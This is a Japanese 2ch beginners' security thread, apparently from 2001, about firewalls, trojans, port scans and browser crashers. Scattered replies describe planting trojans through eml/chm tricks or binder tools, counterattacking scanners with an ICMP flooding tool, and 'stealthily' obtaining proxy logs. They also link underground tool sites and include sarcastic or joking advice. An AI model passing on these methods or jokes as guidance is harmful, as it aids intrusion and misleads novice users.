また犯罪でなくても、管理人が正当な理由でログを要求したとしたらやはり応えてくれるはず。
管理人がそこまでしなくても、連絡を受けたISPが出来るとこまでやってくれるだろうし。

バレるバレないで言うなら、泣き寝入りせずにきちんと対策してきたら当然バレるでしょ。
ドコまでバレるかで言うなら、それこそ全部バレるでしょ。
だってあんたのISPに聞くんだから。

>>214
初級ネット板のこと。

>>176が言っているように、ファイアウォールソフトって二つ使ってても意味ないんですか？
今ＶＢ２００１とぞぬの二つを常駐させているんですけど、むしろ悪影響が出るって・・・。
こないだＶＢ２００１だけ使ってて、
メディアプレーヤーの中のメディアライブラリに保存してある曲のタイトルを何者かに書き換えられたのですが・・・
おそらくウイルスの類ではないと思われます、ＶＢにもひっかからなかったし・・・
軽〜くハクられたようです（汗）。つかＶＢのファイアウォールだめっスね・・・。
このこともふまえて、ファイアウォールはぞぬだけにした方が良いのでしょうか？
ＶＢはあくまでもハードのウイルス検索として使うということで。
でもたまにＶＢのファイアウォールでひっかかって、ぞぬでひっかからないポートスキャン（？）もあるし・・・。
どうなんでしょう？

191じゃないけど
パケットモニタって履歴はのこりますか　リアルタイムじゃないと
モニタできないとか　ってことはないか
LAN内での通信をのぞかれないようにすることって出来るでしょうか

わざわざスレ立てやがったか…
まともに相手してやるから調子に乗るんだよ

>>199は1000回氏んでくれ

telnetが開放されているとどうして危ないのですか？
A○-LINK など、専用サーバ大手は開放しているみたいですけど

>>222
パスワードが平文で送られるからだね。

他のマシンとLANで繋いでいないので、ダイヤルアップのプロパティで
マイクロソフト・ネットワーククライアント等は削除してTCP/IPだけに
していますが、もしかしてこの場合には

http://www.port139.co.jp/w2kpoint/w2ksec_point_5.htm
http://www.port139.co.jp/w2kpoint/w2ksec_point_6.htm

というような設定はもはや不要なのでしょうか。
該当部分を見たら、プルダウンメニューがいずれも降りてこない
(選択肢がデフォルトのままのひとつしかない)のですが。。。

ルータのファイアーウォールとファイアーウォールソフト
は同時に使っても問題ないですか？

今日久しぶりにウイルススキャンしました。するとC:ドライブのRESTOREという隠しフォルダから

C:\_RESTORE\TENP\A0626331.CPY　という属性ウイルス・トロイ・　ウイルス名BackDoor-G2.svr.gen
というのが検出されました。　これはA0626331.CPYというファイルのみ削除すればいいのでしょうか?
それともC:\の_RESTORE　と\TEMPという隠しフォルダ丸ごと削除しても よろしいでしょうか。
トロイに詳しい方ご意見聞かせて下さいませ　よろしくお願いします。

誰か教えて
ゾーンアラーム初めて入れたんだけど
211.234.63.40
でＰＲＯＴＥＣＴＥＤ
ってどうゆう意味？

たのむ教えてくれ

>>226
＜参考までに＞
発見除去ツールでフリーソフト「トロイバスター」なるものがある。
「ToRoI Busterは、トロイ木馬のオートスタートルーチン監視&除去をサポートするツールです。
トロイはAntiVirusSoftでは検出されても、除去は手動で行わなければなりません。
レジストリのRun,RunServices、Win.ini、System.ini.....などなど、
オートスタートルーチンを探すのは大変面倒です。
ToRoI Busterはオートスタートルーチン検索と除去を自動で行います。
また、リアルタイムでそれらを監視することで、
AntiVirusSoftでは対応されていない未知のトロイの検出も可能です。」
と説明がある。参考にして。

簡単に発見除去できるらしい。お試しあれ。
所在は努力してさがしてちょ。

上のIPアドレス「から？/へ？」のパケットはぢいた。

>>225
平気

>>227
ＰＲＯＴＥＣＴＥＤ＝保護されました
翻訳サイトで訳しただけだけど、ブロックしたということでしょ。
大多数が調査段階のスキャンだろうから、心配ないんじゃない？
この手の段階は日常茶飯ごとで行われているよ。
心配なら、数時間ネット切断してから接続したら？
（ＩＰ変わらなきゃ意味ないが）

>>229
trojan仕込む奴も出回ってるという
話しを聞いたけど。

>>233
それは、怖い。
ちなみに、インストールしたけど問題ないみたい。
念のためノートンAntiVirusでチェックして見たが、大丈夫でした。
trojan仕込む奴は、見事、ノートン君に引っかかったよ。
AntiVirusでチェックするしか、わしには知識がないけど。

トロイ除去
http://www.megasecurity.org/Security.html

88.146.104.203.livedoor.com
どこのものですか？
これから場所とか特定できます？

>>230
>>232
いままで、生でしたんですけど。・・・（ファイアーオール無し、プロバイダー串使用
1２ヶ月くらい・・・
英語わかんないんで、ノートンの試用版入れて様子見てみるです。

>>229
ご意見ありがとうございます。
「トロイバスター」は入れているのですが下記URLにもあるように
http://www.nai.com/japan/support2/gonin/BackDoor.asp

ソフトの誤認でいるファイルまで消してしまうと怖いので.....ちゅうちょしております。
「トロイバスター」ってサポートページとかもないようなので少しあやしいかなーと思います....
フリーソフトに出来る事をMcAfee VirusScan が出来ないなんて変なきがして.....
C:\_RESTORE\TENP\A0626331.CPY　というファイルが何者かわかれば安心して消せるのですが....
サポートセンター問いあわせればいいのですが....今ネットに繋いでいるのが怖くて
いちようファイヤーヲ‐ルは付けてますが.......

IISのセキュリティーホールを手っ取り早くふさぐ方法教えて。
やっぱデフォルトの設定じゃ危険？

あの、質問質問宜しいでしょうか？今日、UGらしきところのランキングで、Kick Me〜なんとかとゆうサイトが上位ランクに入っていたもので、興味本位にクリックしてみたのですが、なんとブラクラでして・・・、画面に他のプログラムがダイヤル中です、という表示が現れまして、速攻、ISDNのケーブル引っこ抜いて、無理やり再起動させたのですが、これって本当にダイヤルしてるのでしょうか？周りに何十万も請求された人がおり少し心配になりました。また、このまま使い続けて問題ありませんでしょうか？スレ違いかもしれませんが、緊急なので、宜しくお願いいたします。

スイマセン。補足です。それと、現在とうゆう通信状態か、確認できる方法ってあるのでしょうか？自分で作ったところから通信していれば問題ないのですよね？隠れて他へ電話かけてる、とかありえるのかな？！初心者ですみません。

240ですが、一応、URL↓（ブラクラなので！！！！）は

ttp://www.ugrank.com/warez/out.cgi?bestarchives

↑ここでブラウザが開きまくってクラッシュ＆他のプログラムが
電話中です、と出てきました。詳しい方教えてください。
宜しくお願いいたします。↑のURL気をつけてくださいね

>>239
手っ取り早く塞げるとは思わないほうがいい。
つーか適当に管理してたら速攻ハクされるよ。

チャットにつなげなくしたりとかできんですか？

>>238
そんなあなたに、「NetMonotor」というソフトはいかが？
全てのポートを監視してくれる。
使用されたポート番号、相手のポート番号、ホスト、等が表示されるので、
自分が意図していない通信があるかどうかみられる。
トロイに使用されるポート番号は通常使用する番号と異なるのでスグ解かる。

追伸：アドレスのせないで間違ってEnter押してしまった。
　　　下記のサイトに、「NetMonotor」あります。
　　　このサイトはアングラサイトなので、串さしたり（漏れない）、
　　　セキュリティを完璧にして訪れて、念のため。
　　　問題ないかみしれないけど。（わしのスキルはヘボイので）
　　　危険物もあるから、それは手を出さないほうがいいでしょう。

　　　ttp://gsg-9.virtualave.net/tool.htm

間違えた「NetMonitor」です。

間違えすぎ。よってマイナス17ポイント

Windows　Me　+　Tinyを使用しているのですが、エクスプローラー
を使ってFTPサイトに接続したあと、エクスプローラーを終了しても
ポートを開放してくれません（Connected Outのまま)。
Explorer.exeの問題のように思えるのですが、何かご存知の方が
居られたら教えてください。

あの･･･個人的に、>>219ってとっても気になるんですけど。。

＞今ＶＢ２００１とぞぬの二つを常駐させているんですけど、むしろ悪影響が出るって・・・。
＞こないだＶＢ２００１だけ使ってて、
＞メディアプレーヤーの中のメディアライブラリに保存してある曲のタイトルを何者かに書き換えられたのですが・・・
＞軽〜くハクられたようです（汗）。つかＶＢのファイアウォールだめっスね・・・。

うちはNIS＋ぞぬだけど、多分似たようなもんだろうから
とっても怖いです。。。
とにかく、ぞぬも破られたってことっすよね。
けっこう信頼してる･･･っつーか
NISより当てにしてるんだけど･･･。。

心配するな >>219 はわけわからん事言ってるだけだ
クラッカーもそんな地味なことはしない（ｗ

http://www.pipe.co.jp/
これ、どう？
ソース見ても？？なんだけどね。

ぬ、ちょっと書き方がマズかったかな・・・。
書き換えられた時はＶＢ２００１だけだったんです。
だからその後、さらにぞぬを追加してみたんですが・・・
悪影響が出るそうなのでＶＢ２００１は外しました。今はぞぬだけです・・・。
つかＶＢ２００１だけでダメだったからさらにぞぬを追加っていう発想自体、厨房的発想ですよね・・・。
紛らわしくてｽﾏｿ。

netstatじゃ駄目なの？

>>245

何度もありがとうございます。さっそく使ってみますね!

PCがどこと通信しているか監視するソフトはありませんか？
ノートンのPFやsygateのFWのログのような、どこのサイトやPCと
通信しているか確認できるようなソフトを探しています。

>>256

>>245
>>254
↑
これでいいんじゃないの。読めよ。ｳﾞｫｹ

>>257

あせっていたもので、すいませんでした。

>>257
同感。
>>256
ここまでくると、からかわれているようにしか思えん。サイナラ・・・・

>>246
にあるだろ。ホゲ！

ついさっき、メールが届きました。
ところが、名前も件名も本文もなし。
添付ファイルとして、「CFMKALCF EXE」というものがくっついてました。
気持ち悪いのですが、なんでしょう?
送ってきたのは、furano.ne.jp（210.155.33.2）から繋いでいる人です。

ただのHybrisだよ

そんなのはここで聞く前に消せよ！ここで開いてみろって言われたら開くんかいおまえわ！！！
ファイル名の頭2文字と尻2文字「CF」が同じ事を敏感に察知しすぐにゴミ箱ポイだ。
どっちにしろ名前と件名が無い時点で開かないで捨てろ。

いや、怒らなくても・・・

いや、火が点いたように怒っていらっしゃるけど、
262さんは親切に答えを教えて下さってるじゃない？

まあね。ちょっと烈火のような怒り方を見て、
カルシウムをとって欲しいなって思っただけ。

つーかこの背部リスの質問は毎日のように出るね

>>265

★カルシウムはこんな人におすすめ

発育期の子供。
妊婦。
授乳婦。
高齢者。
歯が弱い人。
足がつる人。
イライラしやすい人。
リンやナトリウムの摂取量が多い人。
262さんのような人。
骨粗鬆症・動脈硬化・高血圧を予防したい人。

★シアン化カリウムはこんな人におすすめ

掲示板荒らしたいんですけど大丈夫かな？ なんて質問する人。
背部リスをなんでしょう？なんて質問する人。

うむ

262だけど・・。
「そちらから送ってきた添付ファイルにみのメールは何か。」と、
知らない人から2件メールが届いたよ・・。
261さんが教えてくれたので、検索して調べて、教えてあげました。
こんなお問い合わせメールがたくさん来たら面倒だ・・・。

DummyDaemons
というソフトをダウンロードしたくて色々探したのですが
既に何処からもダウンロードできなくなっています｡
何処かダウンロードできる所を知っている方は教えていただけませんか？
それと何故ダウンロードできなくなってしまったのでしょうか?

262は俺だ！！！！！！！！騙んな！！！！！！！！！！！！！！１１
別に怒ってねーよ!!!!!!!！！！！！！！！！！！！！！！！！！１

>>270
そんなに怒るなよ・・・ｲｲｼﾞｬﾅｲｶ､ﾍﾞﾂﾆ

>>270
やっぱり265さんの言うように

＜カルゲンエース200ml＞
を御勧めいたします。
常温保存で６ヶ月おいしく召し上がれます。

番号間違えただけでしょ。
ほれ、落ち着きたまへ。

>>249
自己レスです。
IEの拡張機能を使うことで、explorerの使用を回避しました。

>>262
教えるも何も口の利き方がナットラン　　逝ってよし！

そうはいかんざき！！
by,公明党

２ｃｈでは口調でなく内容みて判断するするものだと思っていた自分も逝ってよしでしょうか？

>>277 スレにもよるので・・・
私もあまり怒られたくないです

別に本気で怒ってるわけでもなさそうだし罵倒してるわけでもないだろ
277じゃないが内容を見ろよ

初心者ｽﾚなんだからさ、穏やかにいきましょうや。

HYBRIS何これ？書きコにレスしてくと、たまーにMAC環境の人居るからね。
メールウイルスには今トコあまり気を使わないで済むし、DTPやDTMの用途に
ほぼスタンドアローンで使ってる人多いし。OSなんかの環境も書いて欲しい。
でもシンプソンズってMACに感染するインタネトワーム出てきたみたいだから
気をつけてね。

おれは、バートよりもホーマーが好きだけど（ｗ

ネタを理解しない奴が多いな・・・

つまらないネタだからじゃないの?

軽くあしらうべき「ネタ」だろ･･･

284が書いた?

は？

262ですけど、ここまで突っ込まれるとは思ってなかったんで、、、
もちろん別に怒ってたわけじゃないし、ちょっとがいしゅつ気味の質問だったので
怒った振りをしてレスしてみただけです。「おどけた」感じと受け取って欲しかったんですが、、、
とりあえず誤解されたようですみません。

みんなわかってるよ、なぜ謝る（ｗ
おれはそれに付き合っただけだし

ここは2ch初心者用スレだったのか？

ここは本当に2ちゃんなのか（藁

わかってないのがちらほら釣れ始めたから謝ったんだろう

初心者なりに、ふとおもった。
アンチウイルス、普通にC:にインストールするとパターンファイルが有る場所も
デフォルトだと固定だよね？？
ウイルスバスターだと↓のパスのフォルダに有ると思うんだけど。
Ｃ:\Program Files\Trend Micro\Virus Buster 2001\temp\Cache\Pattern
この中に、.tagの拡張子付いた奴と1対になったファイルが有るのね。
ということは、これをフォルダごと消すとウイルス検出できなくなくなる？
試しにバックアップ取ってから消して見るかな。
パスが、デフォルトで固定だと、.batや.vbsでも消せるかな。。

・・・・・めんどくっさいから止めとこ。寝ます。ｵﾔﾁｭﾐﾅﾁｬｲ。。。。

いずれにしろ当然インストールする場所は変更してますが

ファイルをクラッカーに消されるような状態で
ウィルス検知してどうするのかね？

UDP portって何ですか？
よく外部からアクセスがあるんですけど。
初心者なんでよくわからないんですけど。

ID->IP 変換ツールがついに出たぞ！
http://cocoa.2ch.net/test/read.cgi?bbs=unix&key=993572608

他の板でのスレなのですが、気になりました。
検証してみようにもトロイ(？)とのレスもあったりして踏み切れません。
真偽の程度を教えていただければと思います。

ネタだろ
適当かトロイはいってるか

>>297
ありがとう。ネタと見破れませんでした。

ネタっていうか、トロイに引っ掛けたいのか1が人柱を欲しいのかどっちか。

zonealame入れているのですが、KDDからちょくちょく
アクセスがあるのです。これの意図はなんだと思います？

ノートンアンチウィルスのウィルス定義の過去ファイルは
捨ててもいいんですか？

>>301
捨てて良し。

>>302
ありがとうございました

http://www2.csc.ne.jp/~kgy9999/scriptz/

ちょっと質問です。
ルーター内部にはポートスキャン出来ないの？
○.○.○.○ってＩＰがあって、ルーター内部で192.168.0.5ってしてるんだけど
そのマシンに外部からポートスキャンするにはどうしたらいいの？
家から仕事場の自分のマシンにポートスキャンしてみたいんだけど。

はじめまして!!早速ですが【ﾄﾞﾒｲﾝ】AMAX.CO.JP【ｻｰﾊﾞ】amxmaster.amax.co.jp【IP】210.232.88.0〜28について詳しい情報を知りたくｶｷｺした次第です。"ﾀﾀﾞﾊﾟｹｯﾄ"網探索中です!!! <BR>

超質問
スナッドボーイに必要な辞書はドコで落とせますか？
使用方法は？

ホスト名から、繋いでいる市外局番を知るやり方を教えて下さい。

初めまして。質問なのですが、最近Zonealarmを入れて気づいたのですが
Run a dll as appというプログラムが頻繁にネットにアクセスしているのです。
これはrundll32.exeというものだということまではわかったのですが
いったい何をしているのでしょう？アドバイスおねがいします。
環境はADSLモデム-メルコのルーター-pc(win2k)です。過去ログ
にもあったのですが放置されていたのでこちらに来ました。

厨房な質問かも知れませんがおねがいします。
ＪＡＶＡとActivｅＸの事なんですがコレって一体何なんですか？
安全のために全部切っておくべきだと言われて現在そのようにしてるのですが
それを実行してからしばしば警告がでるし入れないサイトも出来てしまいました。
安全さはある程度欲しいですが最低限ＯＮにしておくべき所は何処ですか？

>>310
JavaやActiveXにはセキュリティホールがあるのでそこを突かれると
危険。インタラクティブにWan側からアクセスされる危険性があるらしいよ。

危ないサイトに行かなければ大丈夫。逆に行くときは切っとくのが当然。

公開鍵暗号方式の鍵のペア売ります。

ｅ鍵、ｄ鍵、Ｎ鍵のペア一組で販売いたします.
企業の方、大学の研究職の方、ご連絡ください。
512 bit あるいは 1024 bit 長、ご自由な大きさで
承ります.

ｅ鍵、ｄ鍵、Ｎ鍵、一組　1万円。
ｅ鍵、ｄ鍵、Ｎ鍵、と、素数ｐ、ｑ、セット、10万円

>213
どこで使っている鍵なんだろう？
Internetからアクセス可能な所であれば、対向機器の情報
込みなら買っても良いかな。
単に作ってみましたってだけの鍵ならいらない。

どこかで使っている鍵ではなくつくったものです。
だから売買するの？って聞いているんです。

メール以外でトロイの木馬が仕掛けられる事ってあるんですか？

この板にははじめてきました。
ＲＳＡ暗号方式で使われる２つの大きな素数ｐ、ｑというのは
具体的にはどのように計算されて決定されているのでしょうか？
答えて頂けたら幸いです。

すれ違い、ここは初心者すれです。

>>316
この表のうちのどれかをを使いなさいなんて表があったりこの公式で求めなさい
なんていうものがないっていうのはわかる？わからなかったら思慮が足りない。
乱数できめるんだよん。
素数かどうか判定するのは素因数分解するよりずっと簡単。
もし素数じゃなかったら捨ててリトライ。

>>315
もちろんあります。例えばこの前の朝日新聞の
「ファイヤーウォール役立たず」みたいなバカ記事で
使われたと思われる、emlファイル使ってローカルで
chm読ませるようなテクニック（ってほどじゃないけど）
使えば、WEBページ開いた瞬間にトロイ仕込ませること
とかもできますよ。

あとは、実行ファイル同士を合体させるツール使って、
一見普通のファイルにトロイを合体させたりね。

>>318
御回答有り難う御座います！
つまり、まったくの乱数を発生させて
素数かそうでないか判定して使用するということでいいのでしょうか？

ブラクラかどうか、よくわからないのですが、踏んでしまいました。
ハードディスクが書き換えられる音がして、びびりまくったのですが、
こういうところから、メールなどの個人情報が盗まれることはあるのでしょうか？

対象のMACアドレスを調べる簡単な方法ってなんだい？

>>321
まず、ノートンとかでチェックしてホントに書き換えられたかどうか、
調べなさい。トロイが入っていれば盗まれることも、ありえます。

>>323
すみません。具体的にお願いします。

やったことは、ハードディスクの内容を消去して出荷時の状態にして、
また、接続やらなにやらの設定をしなおしました。

>>324
君のパソコンにウィルスやトロイが入れられたかをチェックする
ソフトが入っているかどうかをまず聞いているの。
入ってないなら、とりあえずこれでもかっとけ。
http://www.symantec.com/region/jp/products/nis2001/

で、トロイかどうかもわからないまま、ハードディスクを消去
したの？　ご苦労様。他のソフトもCDから入れ直した？
それなら、何かあったとしても消えてそうだけど。

>>325
McAfee VShildというソフトがありますが。
一応、起動してみましたが何も発見されませんでした。

>>326
もし、ちゃんとウィルス定義を更新しているなら、
当座は心配ないんじゃない？

>>327
ありがとうございました。

あやしいわーるど　ってサイトでIP抜かれちゃったんですけど
心配ないんでしょうか?
抜かれた日はずっと前だけど

全然問題無し。
fwとか入れてるんならさらに氏ぬほど問題無し。

>>330
ありがとう

＞fwとか入れてるんならさらに氏ぬほど問題無し。
fwってなんですか？
入れて見たいです

fw=ファイナルウエポン

使い方間違うと大変なことになるよ

>>331
あなたセキュ板来てfw知らないって寿司屋来て魚知らないくらい間違ってます。
fw＝ファイヤーウォール
http://ton.2ch.net/test/read.cgi?bbs=sec&key=991646115
ここでも見て勉強してください。このスレの頭に各種fwへのリンクがありますんで。
初心者にはZoneAlarmがよろしいかと。

カッパ巻き、かんぴょう巻きと卵しか注文しませんが何か？

>>332
ワラタ

質問させてください。
http://codefox.sphosting.com
ってサイトを踏んで”ＩＰ抜きました”
ってメッセージが出たんですけど＞３２９さんと
同じで心配ないですか？その後ＣＭＤＮＩＮＳＴ
が原因でＵＳＥＲ．ＥＸＥにエラー（？）が起こりました。
昨日のデータ-で復旧しましたがこのままで大丈夫ですか？

今度常時接続になりそうなんですが、
やっぱルータ買うのが普通ですか？
ＦＷソフトだけじゃ甘いですか？
てか、使わないときは電源切っておくつもりですが。
お勧めルータとかあったら教えてくらさい

転載

537 名前：名無しさんに接続中… 投稿日：2001/07/02(月) 22:57
フレッツ・ADSLで使う、2万円以下のブロードバンドルータ

『BAR SW-4P』
メーカー希望小売価格1万7800円(株式会社コレガ)
『BLR-TX4』
メーカー希望小売価格1万5800円(株式会社メルコ)
『CAS2040』
メーカー希望小売価格　オープン(株式会社ルートテクノロジー)
http://japan.cnet.com/JustIn/jp_hard/010626/?wn

安さも大事ですが、多少高くても
セキュリティ機能が十分なやつがいいです。
以前どこかのスレッドで、安いのはいまいち
そこらへんの機能が足りないというのを見たので。
３〜４マンくらいは必要ですか？

>>339
初心者なら機能が少ないほうが使いやすいと言う人もいる。
考え方によるからなんともいえん。

>>336
住所や電話もばれないよ。心配ない。
最悪の事態でも死ぬこたないし。

>>341
ありがとうございます。
その後ＶShieldでチェックしたのですがウィルスは
検索できませんでした。ってことは、感染もしてないって事ですね。
何でエラーが出たのかなぁ。。。。

アンチドーテスーパーライトでウィルスチェックをしたところ、テンポラリーフォルダ内の
htmlファイルが引っかかりました。
（temporary Internet files\content.IE5\ZIAPLEMEF\main2{1}.htmlがJS.Trojan.Winbomb.cに感染）
htmlファイルが感染するなんてことあるんでしょうか？また、このhtmlがクライアントとしての
機能を果たしているのでしょうか？判る方教えてください。

>>343
htmlファイルで外部ファイルを自動で読み込まれて、、、っつーのは
聞いたことあるけど、そのものがウイルスっつーのはどうなんだろう。

ですよねぇ。テキストエディタで開いてみたところどうもあめぞうのページみたいでした。
なんでトロイに引っかかってんだろ･･･

教えて下さい　ロジックボムってどうやって見つけるのですか?

動き出すまで　毎日ウイルススキャンしないと探知できないのでしょうか
それだと　何時動くか分からないから　とても怖いです
あと　圧縮フォルダから　かってに出てきて動き出す事って在るのでしょうか?
圧縮フォルダって　解凍しないでスキャンしても意味ないですよね.....

突込みどころ満載過ぎてどこを突付けばいいかわからないんですけど
とりあえず不正尻使ったとかなら自業自得なんで逝って下さい。

>>347
それは　あたしに言ってらっしゃるのでしょうか?
シェアウェア以外の事ですよ。不正尻なんて入れてまで使いたいシェア
なんてないですからね。
普通にきずかないうちにロジックボム仕掛けられていたら怖いじゃないですか
トロイよりやっかいかもしれませんし........

どなたか対処法教えて下さい　お願いします。

課題

まず突っ込みどころを減らそう

ACCTONのブロードバンドルータ
http://www.accton.co.jp/products/broad/ads7004br/ads7004br.html
にスペック表に、ファイアウォール機能-------NAT、IPマスカレード機能にて実現
て記載されているのですが実際性能的に信用してもよいレベルなのでしょうか

舞ちゃんってあの舞ちゃんか　　(汗;;
まぁ、漏れはあまり(つか全然)知らないけど、所謂ポリモフィック型は
このタイプには有効なんじゃ無いかな、つまりクリーンなヴァーチャルメモリ空間で
コードを走らせて挙動を観察するタイプ、後、圧縮ファイルに入っていて動き出す
とか圧縮してるとスキャンできないという事は無いよ。後者は勿論スキャンソフトに
圧縮フォーマットを把握している必要がある。

がんばってね。

ソフトに→ソフトが　　だ(;´Д`)
某file操作系ツールの作者さんに聞いてみては?　　ｗ

DPLAYSVR.EXEというファイルがおくられてきました。
これはウイルスなんでしょうが実際開くとどうなるもんでしょう？

ICMP [11] Time Exceeded from 210.254.187.89 was blocked by rule ''
って何？なんか連続で来てsugeeee重くなったんだけど

>>354
pingなんかで使われてるやつ。
ピンアタックくらってたんじゃないっすか。

なぬーーーーピンアタック食らってたのか！
これってfwが弾いても重くなったりするんですね
しかもこのIP俺と同じOCNだ･･･うーん･･･
とりあえずありがとうです

質問です。
とあるサイトでsub7などのバックドアツールをDLしてきて記念に保管してあるんですけど、
これってsub7をチェックするポートスキャンとか来たら作動してしまうわけですか？
クライアントとサーバ側が同じっていうか、対になってる以外の同じバックドアツール
でもハックできるんですか？（わかりにくくてすみません）
分かる方よろしくお願いします。

>>354
俺は、ICMP Bomberなるソフトがあって、
ポートスキャンかけてきたヤツに対して、よく攻撃しかけるよん。
受けつづけると、フリーズするらしい。

>>357
バックドアツールは基本的には自分のサービスポートでしか作動しないよ。
記念品にはzipかけときなさい。

>>359
そうですかー。一応圧縮しておきます。
ありがとうございましたー。

>>360
PGPも掛けとけば尚安心。

>>357
扱いがわからないなら手を出すのはやめときなさい。
今後痛い目に会うかも知れないよ。

>>358
相手は確かめてる？鯖落として訴えられないようにね。
あと、無差別ポートスキャンに対して反撃すると、余計な
敵をつくるだけだよ。まあ反撃するのは自由だけどね。

ウィルスやトロイは保管しとくだけじゃ意味ないよ。
ちゃんと動かさないと。

>>363
ええっ。そーなんですかー。
しらなかたです。さすがじょうきゅうしゃのかたはいうことがちがいますねー

多段串経由でアタックしてくる方の巣のIPを解析してる方たちは
どのようにして解析してるのでしょうか？素直に串鯖の管理人に
「ログ下さい〜」ってお願いしてるようには思えないので、
具体的にどのように解析すればよいのでしょうか？

>>351
ドーもご意見ありがとうです。　とりあえず勝手に入っていたトロイとロジックボム数種類

圧縮してためているので　このまま育てておきます.....

分解してみたいのですが...... 怖いのでやめておきます.....

>>365
あくまでもコソーリとログを頂くのです。

あげときます

ttp://samurai-x.hypermart.net/cgi-bin/kitty.cgi

「厨房ホイホイ」などと書かれていますが、引っかかった場合
どのように悪さされるのでしょうか？私が引っかかったところA＋串でも生IP抜かれる、
メーラーが立ちあがりニュースグループ登録、メディアプレーヤーが立ちあがる、
でした。識者の方がいらっしゃいましたらコメントお願いします。

一応fwスレでがいしゅつのようなんだけど

＞どのように悪さされるのでしょうか？
別に何もされないんじゃネーノ

＞私が引っかかったところA＋串でも生IP抜かれる、
抜かれる時串通ってないもん

＞メーラーが立ちあがりニュースグループ登録、メディアプレーヤーが立ちあがる
そっから抜かれてんの。
たとえばメーラーを鯖に繋がせてそっからIPを取ってる（もちろん串は通ってない）

＞識者の方がいらっしゃいましたらコメントお願いします。
識者じゃ無いですけどこういうのが嫌ならfwでも入れてはいかがですか
入れてるなら立ち上がったアプリに関してポートとか絞ったほうがいいんじゃないすか

>>370さん
丁寧なレスありがとう御座いました。
＞たとえばメーラーを鯖に繋がせてそっからIPを取ってる（もちろん串は通ってない）
なるほどですね。こういう類のIP抜き初めてだったので勉強になりました。
私は危ない場所はあんまり行きませんがそろそろfw入れたほうがいいですね。
重ねて感謝です。

セキュの意味では串なんかよりfwがずっといいと思うが 万能だし

昨日からADSLになったんだけど、頻繁に

i249245.ppp.asahi-net.or.jp

からのアクセスがあるなぁ・・・。
他のみんなはど〜かな？
ちなみにZone2.6。

アサヒネットだって
つーかいちいちそんなの気にするな

>>374
当然無視してるケド１日に１００回以上もアクセスあるとイヤになるぞ〜。
右下でピコピコピコピコ。
「あほか」って感じ。

ADSLを利用し始めたネット初心者です。
自分のPCにはNortonPersonalFirewallがプレインストールされていたため
比較的安心していたんですが、
雑誌の付録のBlackICE試用版をインストールしたところ
同じ侵入者から3回のアタックが記録されていました。
侵入者は192.168.1.254でアタックの記録はDNS spoof successful、
BlackICEのコメントは「アタッカはトラフィックを別のサイトに
リダイレクトするのに成功しました」でした。
これに関するBlackICEのAdvICEは
「２つの異なるDNSの応答を受信するとこのアラートが発生します」とあります。
これって具体的にはどんなことがおこっていたんでしょうか？
教えてくださいませ。

>376
これってLANじゃね〜の？

＞３７７
ご返事ありがとうございます。
モデムは住友電工のMegaBitGear/TE4000でLAN接続です。
ADSL事業者はSALAでプライベートアドレスです。
もう少し詳しく教えていただけませんでしょうか。
宜しくおねがいいたします。

>>376
の出来事については分からないが、NortonとBlackICEの共存は最悪だぞ。

ttp://www.toyo.co.jp/security/ids/support/faqj/install/qj00006.html

オレのメアドにウィルス送ってくるやつは誰だ？？
いいかげんにしろ

>379
早速のadvICEありがとうございます。
勉強になります。
さて、それではこれら２つのセキュリティソフトのうち
残すとするとどっちを残すべきでしょうか？
他のスレみると、ノートンを残した方がいいように
思えるんですが、いかがでしょうか？

黒氷はアウトバウンドの情報流出すら阻止できない
基本的にfwと考えないほうがいい。

とまで他スレにかいてたょ。

超速のadvICEありがとうございます。
早速黒氷は削除しておきます。

↑＞３８３
失礼いたしました。

此処の２ぺ−ジ目に入れません・・・何故？
何か特別なテクや回線が必要なのでしょうか？
既に自分にはお手上げの状態ですので誰か教えて下さい。

ttp://www.ona-master.com/anime/main.php

少し怪しいサイトみたいで心配です。

ダイアルアップで毎回ＩＰは変わってるんですが、
なぜか同じところからポートスキャンされます。
やっぱりトロイを仕込まれて、ネットにつながった時点で
連絡が入るようになっているんでしょうか？
ノートンでスキャンはしてますが、ウィルス等は検出されません。
最悪、再インストールしようかなと思ってるんですが、
他のドライブにも感染してたら、同じことかなぁ。
自分のＰＣの中身を見られたかと思うと激しく鬱だ。

＞３８５さん
怪しいので入らなくて正解です。

ダイアルアップで毎回ＩＰは変わってるんですが、
なぜか同じところからポートスキャンされます。
やっぱりトロイを仕込まれて、ネットにつながった時点で
連絡が入るようになっているんでしょうか？
ノートンでスキャンはしてますが、ウィルス等は検出されません。
最悪、再インストールしようかなと思ってるんですが、
他のドライブにも感染してたら、同じことかなぁ。
自分のＰＣの中身を見られたかと思うと激しく鬱だ。

＞３８５さん
怪しいので入らなくて正解です。

皆さん、インバウンドのリモートポートはどれくらい制限してますか？
0〜1023を無条件でブロックしようと思うんですが問題ありますか？

ただの無差別ポートスキャンじゃネーノ？

>>385
入ってみたよ。
全画面表示されてあせるぐらいかな。
ＨＰに入るなら、アクティブＸとスクリプトは無効に設定しておいたほうがいい。
アダルトサイトではどんな罠があるかわからんから。

他の板で聞いたんですが、レスが無かったのでこちらでお聞きします。

エロ動画をDLしてRealPlayer8で見ようとしたんですが、
DLの使用ポートが554番でした。
RP8のHTTPプロキシはブラウザ用のものを使用するので問題無いんですが、
554番用のRTSPプロキシというものはよく知りません。
どこから探してくればいいでしょうか？
また生IPでエロ動画をDLするのは危険でしょうか？

膳膳

RTSPじゃなくRSTPだろ。
RSTPは標準のポートってのは決まってないから
場所によってポート違うぞ。あと、プロキシなんて
超必要ないっつーか、遅くなるだけ。

>>387
どこからのアクセスか、どのポートを狙ってるのか
とか書かずに何を言えっていうんだい？

>>393
ありがとうございます。
プロキシはやめておきます。

>>390
レスありがとう！これからやってみます。

ファイル共有してネットに繋ぐと、
他の人から丸見えになることがあるらしいんだけど、
どうやってファイル共有してるやつを見つけ出すの？

>>393
RSTP(Real-time Stream Transport Protocol)
RTSP(Real Time Streaming Protocol)

どっちも同じだが、通常はRTSPが正しいぞ

>>394
すみません。
たとえばこんな感じです。
1,[2001-Jul-02 03:14:50] Rule 'Packet to unopened port received': : In UDP 210.155.148.15:53->localhost:1577, Owner: No owner
1,[2001-Jul-06 07:34:34] Rule 'Packet to unopened port received': : In UDP rad1.tyo.freecom.ne.jp [210.155.148.15:53]->localhost:4419, Owner: No owner
1,[2001-Jul-06 23:18:28] Rule 'Packet to unopened port received': : In UDP 210.155.148.15:53->localhost:1029, Owner: No owner
1,[2001-Jul-06 23:18:28] Rule 'Packet to unopened port received': : In UDP 210.155.148.15:53->localhost:1030, Owner: No owner
1,[2001-Jul-06 23:18:34] Rule 'Packet to unopened port received': : In UDP 210.155.148.15:53->localhost:1028, Owner: No owner
